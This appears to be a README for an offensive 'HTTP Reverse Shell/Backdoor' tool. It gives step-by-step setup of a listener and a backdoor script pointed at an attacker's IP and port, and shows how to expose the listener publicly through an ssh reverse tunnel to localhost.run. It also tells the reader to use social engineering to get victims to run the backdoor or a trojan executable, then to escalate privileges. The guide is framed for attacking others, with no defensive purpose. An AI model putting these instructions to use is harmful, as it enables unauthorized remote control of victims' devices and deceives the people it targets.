Skip to content

HTTP Reverse Shell/Backdoor

  • Opens a backdoor on executed device via HTTP protocol

Usage

Attack over LAN

  • Start listener

    python3 listener.py
    

    Default port = 8080 Change port in listerner.py on line 33 if another service is using 8080 port

  • Edit IP and PORT values in backdoor.py on line 48

    IP = 'attacker_local_ip'
    PORT = attacker_port  # 8080
    

Attack over the internet

  • Start a ssh tunnel on attacker's device.

    ssh -R 80:localhost:<listener_port>
    

    Note : Replace with port on which local server is running

  • Copy link that will be available after successfully tunelling between attacker's machine and localhost.run server.

    example : <random_characters>.localhost.run
    
  • Start Listener on your localhost using

    python3 listener.py
    
  • Replace copied link in backdoor.py on line 48.

    IP = '<random_characters>.localhost.run'
    
  • Use social engineering to make user to execute the python file or created standalone executable/trojan. Use python to run backdoor.py script.

    python3 backdoor.py
    
  • Now use post exploitation tools to gain admin priviliges

Tested on

  • Windows 10
  • Debian based OSes
  • Android Termux